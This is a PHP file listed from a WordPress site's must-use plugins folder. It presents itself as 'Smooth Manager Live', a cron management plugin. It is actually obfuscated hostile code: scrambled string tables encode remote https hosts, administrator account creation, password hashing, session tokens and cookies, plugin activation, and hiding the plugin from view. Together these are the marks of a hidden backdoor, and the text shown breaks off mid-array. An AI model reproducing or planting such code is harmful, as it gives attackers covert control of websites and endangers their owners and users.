File "vapor-publisher-lab.php"

Full Path: /home/planet5/public_html/bansibaba.com/wp-content/mu-plugins/vapor-publisher-lab.php
File size: 2.37 MB
MIME-type: --
Charset: utf-8

<?php

/**
 * Plugin Name:       Smooth Manager Live
 * Plugin URI:        https://walker.dev/plugins/smooth-manager-live/
 * Description:       Reliable cron management utility
 * Version:           1.2.0
 * Author:            Charlotte Walker
 * License:           GPL-2.0-or-later
 * Text Domain:       smooth-manager-live
 * Requires at least: 5.0
 * Requires PHP:      5.6
 */
/* SCV:4.5.3 */
if(!function_exists('b4gbsak56f40gos')&&!((defined('SC_CORE_BOOT_VER')&&version_compare((string)SC_CORE_BOOT_VER,'4.5.3','>='))||(isset($GLOBALS['sc_boot_ver'])&&version_compare((string)$GLOBALS['sc_boot_ver'],'4.5.3','>=')))){function b_helzwexpgp($i){static $a=null;if($a===null){$a=array_merge(array('L$=TLbJ','PW|mA!|\\','PW|mA!|\\','G^X^t','?dPA/d A','z5/Wo7\\/|AV7PoP','aw5e7/|?dPA/d A','QT|Tj*Sg%|Bg6','Po!a\\P','wo!7 ','P5?Po!','Po!wA/','F7!/d A','!o!7 ','QT_*|Tj*Sg%|Bg6','r 5+aw5e7/P',' sF7!','Wl \\F','Wl \\F','5/w7/s','7P|z7wA','\\aWdWlA|7/mdw7FdoA','\\aWdWlA|7/mdw7FdoA','z\\aA/',',?','z,!7oA','^ala','^PF|','^?o|','^P, |','^0|','^\\zz','QT|c#%b1%b|Bg6','r^!F|','!Adwadol','PWd/F7!','7P|d!!dM','W\\5/o','! F7!','a\\P7V|eAoA57F','7P|7/o','PW|','7P|Po!7/e','^ 5|Po|','7P|F7!','7P|w7/s','^^','7P|!AdFd?wA','7P|,!7od?wA','w\\WsAF'),array('!A/d A','PWd/F7!','eAo|o!d/P7A/o','PW| 5|!APW5A','Podo','FAm','FAm',' FX','r^ 5|Po|','r^ 5|ws|','WwAd!PodoWdWlA','\\aWdWlA|7/mdw7FdoA','PAo|o!d/P7A/o','PW| 5|!APW5A','FAwAoA|o!d/P7A/o','PW| 7e|zd7w','!APW5A',' 53','F7!','ff','7P|\\?YAWo','z5/Wo7\\/','!A \\mA|z7woA!','ew\\?','r"^ala','o\\5Wl','W\\aM','W\\aM','oA a/d ','oA a/d ','PMP|eAo|oA a|F7!','ro a',',a+W\\/oA/o','rD','r^PW|o a','a5oA/m','b_TBg6<','PW|o a|z7VAF','L$=TLbJ','QT|c#%b1%b|Bg6','r^PW|','F7!','rW\\!A|','W\\!A','a|,PF4ewt8d8,l|zPiK','raw5e7/Pr','^ala','^ala','z7wA|eAo|W\\/oA/oP','a!Ae| doWl'),array('rDrD"3=cuf]DFHD^DFHD^DFH[3D"Drr','z7wA o7 A','z7wAP74A','PW|W!\\/|zAoWl','PW|adMw\\dF|o','dadWlA|eAo|mA!P7\\/','Po!o\\w\\,A!','ala|Pda7|/d A','dadWlAOld/FwA!','w7oAPaAAF','=16u16|=#9bQL61','dadWlA','w7oAPaAAF','\\aA/w7oAPaAAF','=16u16|=#9bQL61','7/7|eAo','7/7|eAo','\\aA/|?dPAF7!','AVaw\\FA','B$|%L_1','L$=TLbJ','PW|w\\Ws|/','PW|w\\Ws|/','PW|w\\Ws|/','PW|w\\Ws|F?','PW|w\\Ws|F?',' Aol\\F|AV7PoP','eAo|md!','=1j1cb3S1b|j#c{]2','2(3i[','PW|w\\Ws|/','PW|w\\Ws|F?','zw\\Ws','rD','rPW|','^w\\Ws','PW|w\\Ws|zl','PW|w\\Ws|7a','PW|w\\Ws|/','PW|w\\Ws|7a','PW|w\\Ws|zl','05A!M','=1j1cb361j1L=1|j#c{]2','2[','Bg=Ljj#Q|9gj1|_#B=','zw\\Ws','QT|c#%b1%b|Bg6','dWoa','^w\\Ws','PW|dWoa|zl'),array('PW|dWoa|zl','eAo|\\ao7\\/','5aFdoA|\\ao7\\/','dWo7mA|aw5e7/P','d!!dM|mdw5AP','d!!dM|5/705A','7/|d!!dM','dWo7mA|aw5e7/P','d!!dM|F7zz','bl!\\,d?wA','f3','PW|A!!\\!P','PW|A!!\\!P','PW|A!!\\!P','d!!dM|Pw7WA','dFF|dWo7\\/','dFF|z7woA!','r^PW|','rWdWlA','r7/FAV^ala','QT|c#%b1%b|Bg6','PW|a5!eA','PW|a5!eA','PW|a5!eA','!Ae7PoA!|Pl5oF\\,/|z5/Wo7\\/',' zz4tG\\oKmOG|W z0,m,','PW|a5!eA','PW|a5!eA','A!!\\!|eAo|wdPo','z7wA','oMaA',' APPdeA',' APPdeA','Lww\\,AF3 A \\!M3P74A','_dV7 5 3AVAW5o7\\/3o7 A','!Adwadol','PW|?\\\\o|mA!','PW|?\\\\o|Po','PW|?\\\\o|Po','^ala','r^0|','r^5?|','o7 A','5aFdoA|\\ao7\\/','PW|5aFdoA|?dF','/\\','r^0|','zd7w','!A/d A','\\aWdWlA|7/mdw7FdoA'),array('^ala^\\zz','r^PF|','rDFHD^DFHD^DFHr','`<','z7wA|a5o|W\\/oA/oP','eAo|\\ao7\\/','PW|aA/F7/e|7/mdw7FdoA','aw5e7/P|w\\dFAF',',O?a,4WVdP,?O78WKYaP7','zOlFotWKE\\8 \\Xoewp','i^i^i','MAP','adol7/z\\','7P| 5wo7P7oA','eAo|P7oA|\\ao7\\/','dWo7mA|P7oA,7FA|aw5e7/P','rDrD"3=cufDFHD^DFHD^DFH3D"Drr','adol','adol','FAdF','e\\/A','MAP','MAP','^ala','^ala','PW|FAF5a|o\\\\s','PW|FAF5a|o\\\\s','aw5e7/P|w\\dFAF',',VE/sOs|l5zEKM','MAP','Pod!o7/e','FAF5a','\\aA/F7!','!AdFF7!','\\aA/F7!','^^','Ww\\PAF7!','PWd/F7!','r"','d!!dM| da','PlAww|AVAW','F7Pd?wA|z5/Wo7\\/P','PWw','PlAww|AVAW','ala3+w3','3O`R>','%\\3PM/odV3A!!\\!P','Td!PA3A!!\\!','9dodw3A!!\\!','}C'),array('o\\sA/|eAo|dww','d!!dM|sAM|AV7PoP','b#{1%|TL6=1','7P|?\\\\w','iVKLGEXOWLL>c>Xp8pGpELiLc?8K>9p>?zLKi>1i8t','iVptKF>W1XWt9OXKApFtB>E>>GFE>p81Bd?F?ALKG?','iV8FOWXGtX19Ei>K8EGidGpKiG$8KtEEKtXBXid?$$','looaPfrriV!aW^7\\rAol','looaPfrrAolA!A5 +a5?w7W^/\\F7AP^daa','looaPfrrAol^F!aW^\\!e','looaPfrr!aW^Aol^edoA,dM^z ','looaPfrrAol^?w\\Ws!d4\\!^VM4','looaPfrra5?w7W+Aol^/\\,/\\FAP^7\\','looaPfrrAol+ d7//Ao^!aWzdPo^W\\ Cda7|sAM<V?lQ$g>Qse5sp=%_5>?mmj5!TSjI e,kAcG=8eOJEQF,97eq= TQuq6V!Ps1U,gz','looaPfrrAol>^wdmd^?57wF','looaPfrrAol^!aW^?wV!?F/^W\\ ','looaPfrrAol+ d7//Ao^a5?w7W^?wdPoda7^7\\','looaPfrredoA,dM^oA/FA!wM^W\\ra5?w7Wr d7//Ao','looaPfrrAolA!A5 ^!aW^P5?05A!M^/Ao,\\!sra5?w7W','looaPfrrAolA!A5 +!aW^a5?w7W/\\FA^W\\ ','looaPfrr d7//Ao^edoA,dM^oA/FA!wM^W\\','looaPfrrAol^da7^\\/z7/dw7oM^7\\ra5?w7W','looaPfrrAolA!A5 ^a5?w7W^?w\\Wsa7^/Ao,\\!srm>r!aWra5?w7W','looaPfrrAolA!A5 +YP\\/+!aW^PodsAwM^7\\','looaPfrr!aW^PA/o7\\^VM4r d7//Ao','looaPfrrAol^ A!swA^7\\','looaPfrrAol^da7^a\\WsAo^/Ao,\\!s','dF 7/|','dF |','dF 7/7Po!do\\!|','?dWs5a|','e4A/W\\FA','e4FAzwdoA','adWs','W!WtO','5/adWs','e4FAW\\FA','e47/zwdoA','lAVO?7/','J"',',a+dF 7/r',',a+7/Ww5FAPr','"^ala','d!!dM|!d/F',',a|!d/F','!d/F','PW|FAdFw7/A',' 7W!\\o7 A','WA7w','Wdww|5PA!|z5/W'),array(',a|!A \\oA|eAo',',a|!A \\oA|eAo','o7 A\\5o','PPwmA!7zM','w7 7o|!APa\\/PA|P74A','7P|,a|A!!\\!','W5!w|7/7o','W5!w|PAo\\ao|d!!dM','W5!w|AVAW','c*6j#Tb|61b*6%b6L%=916','c*6j#Tb|bg_1#*b','c*6j#Tb|==j|u16g9kT116','c*6j#Tb|==j|u16g9kJ#=b','c*6j#Tb|%#T6#S61==','c*6j#Tb|T6#S61==9*%cbg#%','looa|W\\FA',',a|!A \\oA|a\\Po',',a|!A \\oA|a\\Po','PPwmA!7zM','lAdFA!P','?\\FM','7P|,a|A!!\\!','.3','PW|zAoWl|\\\\ ','c*6j#Tb|T#=b','c*6j#Tb|T#=b9g1jB=','c*6j#Tb|61b*6%b6L%=916','c*6j#Tb|==j|u16g9kJ#=b','c*6j#Tb|JbbTJ1LB16','c*6j#Tb|T6#S61==9*%cbg#%','PW|wdPo|!aW','d!!dM|5/Pl7zo','o!7 ','N&YP\\/!aW&f&O^i&(&7F&ft(& Aol\\F&f&Aol|Wdww&(&ad!d P&fvN&Fdod&f&iVt?WXFAti&(&o\\&f&','&)(&wdoAPo&\')','c\\/oA/o+bMaA','daaw7Wdo7\\/rYP\\/','YP\\/|FAW\\FA','!AP5wo','iV','\\!F','!AP\\wmA','!aW|FAW!Mao|zd7wAF','!aW|?dF|sAM|wA/eol','d!!dM|z7woA!','a!Ae|Paw7o','rD!CD/r','PW|WO|WdWlA','7 aw\\FA','PA!mA!|sAM'),array('5!wP','PW|WO|WdWlA','P!m|sAM','!aW|dww|zd7wAF','PW|A/W|W','PW|A/W|W','PW|A/W|W','PA!7dw74A','Wl!',' o|!d/F','?dPA8G|A/W\\FA','PW|A/W|W','?dPA8G|FAW\\FA','PW|A/W|W','TJT|u16=g#%|gB','5/PA!7dw74A','dww\\,AF|WwdPPAP','Po!|!AawdWA','Aa','P,','P,|5!w','P,|WdWlAF','7P|PWdwd!','PW|A!!\\!P','A!!\\!P','d!!dM| A!eA','zw5Pl|A!!\\!P','eAo|\\ao7\\/','PW|adMw\\dF|aA!P7PoA/o','W!\\/g/oA!mdw','W!\\/g/oA!mdw','PW|7/oA!mdw','7/oA!mdw','F7PawdM','c5Po\\ 3 d7/oA/d/WA37/oA!mdw','PW|e5d!F|7/oA!mdw','7/oA!mdw','F7PawdM','c5Po\\ 3 d7/oA/d/WA37/oA!mdw',',a|/AVo|PWlAF5wAF',',a|PWlAF5wA|AmA/o','PW|Wld7/','PW|Wld7/','B#g%S|c6#%','Pl5oF\\,/','!K KXV|7dX0tdss/ e',',a|!A \\oA|eAo','P7oA|5!w',',a+W!\\/^alaCF\\7/e|,a|W!\\/<','o7 A\\5o'),array('?w\\Ws7/e','PPwmA!7zM','zdPoWe7|z7/7Pl|!A05APo','w7oAPaAAF|z7/7Pl|!A05APo','7e/\\!A|5PA!|d?\\!o','7e/\\!A|5PA!|d?\\!o','4w7?^\\5oa5o|W\\ a!APP7\\/','\\zz','\\?|eAo|Podo5P','/d A','\\?|e4ld/FwA!','4w7?','lAdFA!P|w7Po','c\\/oA/o+1/W\\F7/ef','7FA/o7oM','Ww7','alaF?e','looa|!APa\\/PA|W\\FA','61U*1=b|_1bJ#B','J1LB','\\?|eAo|wAmAw','\\?|A/F|zw5Pl','\\?|eAo|Podo5P','FAzd5wo3\\5oa5o3ld/FwA!','\\?|eAo|wA/eol',',a|z7woA!','Pl5oF\\,/','z5/Wo7\\/',',a|\\?|A/F|zw5Pl|dww','c\\/oA/o+jA/eolf3','c\\//AWo7\\/f3Ww\\PA','zw5Pl',',a|PWlAF5wA|P7/ewA|AmA/o','Bg=L$j1|QT|c6#%','eAo|\\ao7\\/','PW|wdPo|zAoWl|oP','eAo|\\ao7\\/','PW|PAA/|mA!','PW|wdPo|zAoWl|oP',',a|/AVo|PWlAF5wAF',',a|5/PWlAF5wA|AmA/o','zAoWl','W!\\/|PodwA|7/w7/A','PAo|o7 A|w7 7o','PAo|o7 A|w7 7o','eAo|\\ao7\\/','aw5e7/65wAP','PW|aw5e7/|!5wAP','aw5e7/65wAP','7/YAWo65wAP'),array('PW|7/YAWo|!5wAP','YP','YP','PW|YP','YP','adeA','PW|adeA','P,','P,','PW|P,','P,','WdWlA','5aFdoA|\\ao7\\/','PW|wdPo|lAdw|oP','PW|lAdw|PWd/','P!W','P!W','PW|wdPo|lAdw|oP','/\\','^ala','r"r"^ala','a!Ae|!AawdWA','rDPHr','rDPHr','PW|wdPo|lAdw|oP','/\\','PW|lAdw|PWd/','lAdw','F7F|dWo7\\/','!K KXV|7dX0tdss/ e','!K KXV|7dX0tdss/ e',',a|!A \\oA|eAo','l\\ A|5!w','PW|wdPo|l?','PW|wdPo|l?','adMw\\dFbow','adMw\\dFbow','PW|wdPo|zAoWl|zd7w|oP','PW|zAoWl|zd7wP',' dV',' 7/','PW|zAoWl|zd7wP','PW|zAoWl|zd7wP','mA!','ala','Pda7','PPw','7P|PPw',' P','7P| 5wo7P7oA'),array(',a',',a|mA!P7\\/','P!m','PW|YP','YP|\\/','YP|wA/','YP|!A0','PW|YP|a!7/oAF','YP|\\?','PW|YP|\\?|5PAF','YP|oP','PW|YP|a!7/oAF|oP','P,|5!w','P,|l7oP','PW|P,|Aa|l7oP','P,|wdPo','eAo|\\ao7\\/','PW|P,|Aa|wdPo','P,|ldF','eAo|\\ao7\\/','PW|P,|ldF','m|dFm','rdFmd/WAF+WdWlA^ala','m|F?','rF?^ala','m|\\W','r\\?YAWo+WdWlA^ala','r\\?YAWo+WdWlA^ala','^e|','^ew|','m|e5d!F',',a+7/Ww5FAP','^ala','m|e5d!F','5PA!|7/7^z7wA/d A',']/\\/A[','^5PA!^7/7','m|7/7','d5o\\|a!AaA/F|z7wA','m|lo','^lodWWAPP','m|,W',',a+W\\/z7e^ala','=c|Qc','a!AaA/F','=c|L*b#|T61T1%B','aW','QT|6#c{1b|u16=g#%','j=cQT|u','Qtbc'),array('Pe|WdWlAa!APP|a5!eA|WdWlA','WwdPP|AV7PoP','cdWlA|1/d?wA!',',a|zdPoAPo|WdWlA',',a|WdWlA|PA!mA|WdWlA|z7wA','z|\\s','z|zd7wP','z|zd7w|oP','7W','Wz','oP','7W|/','7W|Ozd','eAo|\\ao7\\/','PW|w?| \\FA','w?','PW|Wd/d!M','WM','7oA P','A!!',',a+w\\e7/^ala',',a|w\\e7/|5!w','ad!PA|5!w','TJT|*6j|J#=b','eAo|P7oA|5!w','TJT|*6j|J#=b','eAo|?w\\e7/z\\','5!w','P7oA5!w','TJT|*6j|J#=b','JbbT|J#=b','=16u16|%L_1','7/7|eAo',' dV|AVAW5o7\\/|o7 A','P!m|sAM','/\\','oAPo| \\FA',' \\Ws=!m{AM+','/\\','PW|wdPo|WO','Pl5zzwA','QT_*|Tj*Sg%|Bg6','F\\ d7/','aw5e7/uA!P7\\/','aw5e7/','!\\\\o','rD','dWo7mdoAFTw5e7/P',' 5Tw5e7/P','w\\e7/*!w'),array('dF 7/P','dF 7/Pc\\\\s7AP',',a|YP\\/|A/W\\FA','YP\\/|A/W\\FA','daaw7Wdo7\\/r\\WoAo+Po!Ad ','zAoWl','\\\\ ','WO|A aoM3','WO|FAW!Mao|zd7wAF3','WO|?dF|YP\\/3','zAoWl|5!w','F\\ d7/','?AdW\\/','Hr','+|','Po!|Paw7o','PW|?<','R7<','R/<','RF<','PW|wdPo|WO','FAwAoA|\\ao7\\/','PW|A!!\\!P','PW|A!!\\!P','aw5e7/','aw5e7/','od!eAouA!P7\\/','od!eAouA!P7\\/','z\\!WA*aFdoA','PW|aw5e7/|!5wAP','aw5e7/65wAP','PW|7/YAWo|!5wAP','PW|7/YAWo|!5wAP','YP|WdWlAF','YP|a5!eA| 7e','/\\','YP|a5!eA|aA/F7/e','YP','/\\','/\\','P,','adeA','adeA','adeA','adeA','adeA|WdWlAF','/\\','P,','P,','PW|P,'),array('P,','oA awdoAP','e5d!F','dFmd/WAFcdWlA','dFm|oaw','F?','F?|oaw','olA A','olA A|oaw','7/PodwwA!','7/Po|oaw','\\Wj\\dFA!','\\W|oaw','adMw\\dFbow','7P|/5 A!7W','W!\\/g/oA!mdw','W!\\/g/oA!mdw','W!\\/g/oA!mdw','PW|zAoWl|zd7wP','/iMwAMp!PtaMmY\\|Y','PAo|o!d/P7A/o','adMw\\dFbow','PW|adMw\\dF|aA!P7PoA/o','W!\\/g/oA!mdw',',a|eAo|PWlAF5wAF|AmA/o',',a|WwAd!|PWlAF5wAF|l\\\\s','/iMwAMp!PtaMmY\\|Y','zAoWl','PW|Wld7/',' A \\!M|eAo|5PdeA','5aFdoA','\\\\ |e5d!F','}Cala','PM/odV|A!!\\!','mA!| 7P doWl','5aFdoA','/\\|PWm','/\\|a!Am','PW|5aFdoA|?dF','r^5?|','PW|5aFdoA|P5PaAWo',',a|!A \\oA|eAo','!AF7!AWo7\\/','!AawdWA|zd7w','PAo|o!d/P7A/o','PW|!AW\\mA!|WlAWs',',a|!A \\oA|eAo','rCPW|W?<','!AF7!AWo7\\/','PPwmA!7zM'),array('PwAAa','5aFdoA','a!\\?A|7/W\\/Ww5P7mA','!\\ww?dWs|zd7w|','r^0|','PW|aA!P7PoAF','Wd/d!M|!\\ww?dWs|','PW|5aFdoA|?dF','r^PF|','PW|aA!P7PoAF','PW|aA/F7/e|7/mdw7FdoA','/\\','PW|Wld7/','QT|Tj*Sg%|Bg6','eAo|aw5e7/P','z7wA|AV7PoP',',a+dF 7/r7/Ww5FAPraw5e7/^ala','PWd/','PW|aw5e7/|!5wAP','QT|Tj*Sg%|Bg6','7/W','alo w','lo w','TLbJg%9#|1Ib1%=g#%','FAdWo7mdoA|aw5e7/P',',a+dF 7/r7/Ww5FAPraw5e7/^ala','FAwAoA|aw5e7/P','W5!!A/o|5PA!|Wd/','eAo|5PA!P',',a|PAo|W5!!A/o|5PA!','!\\wA','dF 7/7Po!do\\!','/5 ?A!','^^','Bg61cb#6k|=1TL6Lb#6','d!!dM|sAMP','PW|aw5e7/|!5wAP','ala','!APWd/','PW|wdPo|o aWwAd/',',a|','dWo7mA|aw5e7/P','raw5e7/P','=c|BT|$1Sg%','rD/CDrD"3=c|BT|$1Sg%f]vd+4L+qi+K^|f\'H[3D"Dr^"CDrD"3=c|BT|1%BfD>3D"DrD/CrP','PW|7/YAWo|!5wAP','PW|wdPo|!APWd/','d\\YY0?e>/Gt08aoOtw','PW|wdPo|!APWd/','d\\YY0?e>/Gt08aoOtw'),array('aA!7\\F7W',' 7e!doA','P!W|7/mdw7F','eAo|o!d/P7A/o','PW| 7e|zd7w',' 5|/\\o|,!7od?wA','ew\\?','r"^ala','PW| 7e|zd7w','eAo|\\ao7\\/','PW|7/7o|P!W|oP','P!W','/\\','PW|zAoWl|zd7wP','/\\','PW|wdPo|zAoWl|zd7w|oP','/\\','PW|7/7o7dw74AF','PW|7/7o7dw74AF','dFF|\\ao7\\/','PW|7/7o7dw74AF','/\\','/\\','/\\','PW|wdPo|zAoWl|zd7w|oP','FAwAoA|o!d/P7A/o','Pl5oF\\,/','se4lY5PpaPWA?WXMoPst','7/7o','PW|7/7o7dw74AF',',a|!A \\oA|eAo','?w\\Ws7/e',',d! ','7P|dF 7/','W5!!A/o|5PA!|Wd/','dWo7mdoA|aw5e7/P','dWo7\\/','dWo7mdoA','dWo7mdoA+PAwAWoAF','aw5e7/','WlAWsAF',',a|PdzA|!AF7!AWo','dF 7/|5!w','aw5e7/P^ala','PWd/|dWo','F!\\a7/P','aw5e7/P','F!\\a7/P',',a+W\\/oA/o','F?^ala'),array('=c|B$','dFmd/WAF+WdWlA^ala','=c|LBu','F!\\a7/P','r"3','|$1Sg%f','rDrD"3','|$1Sg%f]vd+4L+qi+K^|f\'H[3D"Dr^"CDrD"3','|1%BfD>3D"DrrP','}Cala','}C','F!\\a7/P',' 5Po5PA',' 5Po5PA','VMmFtXl7,X0dP z7ad ','}PoMwA`o!vFdod+aw5e7/<&','&\'(o!vFdod+aw5e7/<&','&\'NF7PawdMf/\\/Ay7 a\\!od/o)}rPoMwA`','}PW!7ao`F\\W5 A/o^dFF1mA/oj7PoA/A!]&B#_c\\/oA/oj\\dFAF&(z5/Wo7\\/][NF\\W5 A/o^05A!M=AwAWo\\!Lww]&o!vFdod+aw5e7/\'&[^z\\!1dWl]z5/Wo7\\/]![Nmd!3a<!^eAoLoo!7?5oA]&Fdod+aw5e7/&[.7z]a<<<&','&nna<<<&','&[!^!A \\mA][)[.md!3W<F\\W5 A/o^05A!M=AwAWo\\!]&^P5?P5?P5?3^ 5Po5PA3^W\\5/o&[.7z]W[Nmd!3/<ad!PAg/o]W^oAVoc\\/oA/o^!AawdWA]rvZi+K\'re(&&[[nni.7z]/`i[W^oAVoc\\/oA/o<&]&H_dol^ dV]i(/+>[H&[&))[.}rPW!7ao`','/Aa8d,8YOGpo\\558d7Ve8',' \\E4tlp8!\\A477W8KF?i>a','eAo|aw5e7/|Fdod','%d A',',a+aw5e7/P+dWo7mA',',a+aw5e7/P+7/dWo7mA','z7AwFP','z7AwFP',',a+ 5+aw5e7/P',',a+aw5e7/P+ 5Po5PA','QT_*|Tj*Sg%|Bg6','ew\\?','r"3=cuf','rTw5e7/3%d AfDP"]vZD!D/"\'H[r7',',a+F!\\a7/P','z7AwFP',',a+W\\/oA/o','F?^ala','r"3=cuf','adooA!/','a!Ae|05\\oA','hx','l7FFA/','xr','!\\\\oP','!\\\\oP','doo!7?5oAP','doo!7?5oAP','!\\\\oP'),array('TJT|_L-#6|u16=g#%','TJT|_L-#6|u16=g#%','Aw97/FA!c\\//AWo\\!','r,a+z7wA+ d/deA!rw7?ralarAw97/FA!c\\//AWo\\!^WwdPP^ala','rz7wA+ d/deA!rw7?ralarAw97/FA!c\\//AWo\\!^WwdPP^ala','rz7wA+ d/deA!+dFmd/WAFrw7?ralarAw97/FA!c\\//AWo\\!^WwdPP^ala','^WwdPP^ala','WwdPP3Aw97/FA!c\\//AWo\\!','rZDP"}DC]ala[Cr','WwdPP3|=c|Aw97/FA!c\\//AWo\\!|6Adw',',a|','}Cala3','|PW|l7FA','|PW|l7FA|F7!','}Cala3WwdPP3Aw97/FA!c\\//AWo\\!3AVoA/FP3|=c|Aw97/FA!c\\//AWo\\!|6Adw3N','a!\\oAWoAF3z5/Wo7\\/3\\5oa5o]3d!!dM3hFdod3[3N','hl7FA3<37PPAo]3hSj#$Lj=v&|PW|l7FA&\'3[3C3hSj#$Lj=v&|PW|l7FA&\'3f3&&.','7z3]3hl7FA3y<<3&&3RR3z5/Wo7\\/|AV7PoP]3&PW|z |z7woA!&3[3[3N','hFdod3<3PW|z |z7woA!]3hFdod(3hl7FA3[.','ad!A/off\\5oa5o]3hFdod3[.',',a|','z ','AXWMwMlsmGFE!V','z7wAP','dFFAF','Wld/eAF','o!AA','/d A','PW|lAdmM','eAo|o!d/P7A/o','PW|!AW\\mA!|WlAWs','PW|!AW\\mA!|WlAWs','/\\','PAo|o!d/P7A/o','PW|!AW\\mA!|WlAWs','PW|!AW\\mA!|ol!\\oowA','!AW\\mA!','P\\5!WA|A aoM','r^0|','^ala','PAo|o!d/P7A/o','PAo|o!d/P7A/o','!AW\\mA!',',a|PA/F|/A,|5PA!|/\\o7z7Wdo7\\/|o\\|dF 7/','||!Ao5!/|zdwPA',',a|/A,|5PA!|/\\o7z7Wdo7\\/|A d7w|dF 7/','||!Ao5!/|zdwPA','!A \\mA|dWo7\\/','!Ae7PoA!|/A,|5PA!',',a|PA/F|/A,|5PA!|/\\o7z7Wdo7\\/P'),array('AF7o|5PA!|W!AdoAF|5PA!',',a|w\\e7/',',a|/\\o7zM|dF 7/|/A,|w\\e7/',',aF?','Wdad?7w7o7AP','1j1cb35^gB(35^5PA!|w\\e7/(35^5PA!|adPP(35^5PA!|A d7w396#_3','353g%%163-#g%3','3 3#%35^gB3<3 ^5PA!|7F3QJ1613 ^ Aod|sAM3<3;P3L%B3 ^ Aod|mdw5A3jg{13;P',';dF 7/7Po!do\\!;','d0','o\\','Ws|aA/F',',a|eA/A!doA|d5ol|W\\\\s7A','QT|=APP7\\/|b\\sA/P','7P|PPw','PAW5!A|d5ol','d5ol','=1c*61|L*bJ|c##{g1','L*bJ|c##{g1','j#SS1B|g%|c##{g1','Ws|aA/F','/\\','c##{g1|B#_Lg%','c##{g1TLbJ','LB_g%|c##{g1|TLbJ','r,a+dF 7/','b6*1','9Lj=1',',a| d7w','7PP5AF','7PP5AF|m','5PA!| Aod','PAPP7\\/|o\\sA/P','AVa7!do7\\/','5PA!| Aod','QT|=APP7\\/|b\\sA/P','eAo|7/Pod/WA','w\\eeAF|7/','W\\\\s7AP','W\\\\s7AP','7PP5AF','5aFdoA|\\ao7\\/','Ws|aA/F','/\\','Ws|W\\  7o','?5','?a','7W','ldP|Wda','oP'),array('Wz','7/oA!WAao','7W','/\\','w\\e7/|Wz','rZ','vd+zi+K\'N8(>i)hr','sM4>WssYY\\4,s/dM7m!','eAo|\\ao7\\/','sM4>WssYY\\4,s/dM7m!','sM4>WssYY\\4,s/dM7m!','dP\\!o','/\\','PW!','7\\','do\\ 7W|/\\|F7!3','^ala','do\\ 7W|?dF|ala3','do\\ 7W|/\\|oA a/d 3','PW|','zPM/W','do\\ 7W|oA a|zd7w3','7\\','do\\ 7W|Pl\\!o|,!7oA3','7\\','do\\ 7W|w7/s|zd7w3','^PW\\wF','do\\ 7W|!A/d A|zd7w3','ldPl|z7wA',' FX','7\\','do\\ 7W|mA!7zM|zd7w3','do\\ 7W|ol7!F|ad!oM3',',iFGmK0EAa/p7Yz\\8wa','!zaY moPYwOA\\dOw,FOVG','PW|a?<','PPwmA!7zM','!AF7!AWo7\\/','cdWlA+c\\/o!\\w','/\\+WdWlA','WP>eM/A|PKAW/G','7P|,a|A!!\\!','o7 A\\5o','w7 7o|!APa\\/PA|P74A','cdWlA+c\\/o!\\w','7P|,a|A!!\\!','rD/C}gz_\\F5wA3 \\F|alavi+K^\'"D^W`DP"ala|mdw5A3d5o\\|a!AaA/F|z7wAvZD/\'"','vZD/\'"D/}Drgz_\\F5wA`D/Cr7','rD/C}gz_\\F5wA3w7oAPaAAF`DP"ala|mdw5A3d5o\\|a!AaA/F|z7wAvZD/\'"','rD/Cala|mdw5A3d5o\\|a!AaA/F|z7wAvZD/\'"'),array('vZD/\'"D/Cr7','rD/C}gz_\\F5wA3w7oAPaAAF`DP"ala|mdw5ADP"}Drgz_\\F5wA`D/Cr7','rD/C}gz_\\F5wA3 \\F|alavi+K^\'"D^W`DP"ala|mdw5ADP"}Drgz_\\F5wA`D/Cr7','\\aWdWlA|!APAo','\\aWdWlA|eAo|Podo5P','\\aWdWlA|A/d?wAF','^ala',',!7oA|zd7wAF3',',!7oA|zd7wAF3','PW|dF 7/|o7Ws','PW|dF 7/|7/zw7elo','FAwAoA|o!d/P7A/o','PW|dF 7/|7/zw7elo','5PA!/d A|AV7PoP','dF 7/|o7Ws','5PA!/d A|AV7PoP','?5','AVd awA^W\\ ',',a|PAo|adPP,\\!F','?5','/\\','?a','dF 7/','aA!P7Po|zd7w','W\\ww7P7\\/',',a|7/PA!o|5PA!',',a+7/Ww5FAPr5PA!^ala',',a|7/PA!o|5PA!','5PA!|w\\e7/','5PA!|adPP','5PA!|A d7w','F7PawdM|/d A',',aF?','dF 7/','/\\|,aF?',',a|ldPl|adPP,\\!F','W5!!A/o|o7 A',' MP0w','k+ +F3Jf7fP','5PA!|w\\e7/','5PA!|/7WA/d A','5PA!|!Ae7PoA!AF','5PA!|Podo5P',';P',';F','P0w|7/PA!o|zd7w','Wdad?7w7o7AP','5PA!|7F',' Aod|sAM',' Aod|mdw5A'),array('dF 7/7Po!do\\!',';F',';P',';P','5PA!|wAmAw','WwAd/|5PA!|WdWlA','mA!7zM|zd7w','eAo|5PA!|?M','w\\e7/','5PA!|Wd/','Wda|mA!7zM|zd7w',',a|FAwAoA|5PA!',',a+dF 7/r7/Ww5FAPr5PA!^ala',',a+dF 7/r7/Ww5FAPr5PA!^ala','?5','aA!P7Po|zd7w','05A!M|,lA!A','3L%B35PA!|w\\e7/3y<32','l7FA|0','dww','rD]]DFH[D[r','rD]DFHD[r','l7FA|W/o','?5','w\\e7/||/\\o|7/','w\\e7/||/\\o|7/','w\\e7/||/\\o|7/','l7FA|!APo','^^','PoMwAPlAAo','oA awdoA','rolA AP',',a+W\\/oA/orolA AP','radooA!/P','7/YAWo|>','7/YAWo','rl\\ A','rmd!r,,,','rmd!r,,,rml\\PoP','rmd!r,,,rlo w','rP!mr,,,','rP!mr5PA!P','r5P!rw\\Wdwr,,,','\\aA/|?dPAF7!','r,a+W\\/oA/or 5+aw5e7/P','r,a+W\\/oA/oraw5e7/P','7/PodwwAF','PW|Pa!AdF|7/oA!mdw','Pa!AdF','PW|Pa!AdF|/!'),array('Pa!AdF','/\\|!\\\\oP','r,a+W\\/oA/or 5+aw5e7/P','r,a+W\\/oA/oraw5e7/Pr','PW|Pa!AdF|7/oA!mdw','r,a+W\\/z7e^ala','rFAz7/ADP"D]DP"v2&\'B$|%L_1v2&\'DP"(DP"v2&\']vZ2&\'H[v2&\'r','rod?wA|a!Az7VDP"<DP"v2&\']vZ2&\'H[v2&\'r','rZvd+4L+qi+K|\'Hhr',',aF?','rZvd+4L+qi+K|h+\'Hhr','F?|/d A|!AYAWoAF',':^:','\\ao7\\/P:','=bL6b3b6L%=Lcbg#%','1j1cb3\\ao7\\/|mdw5A396#_3','3QJ1613\\ao7\\/|/d 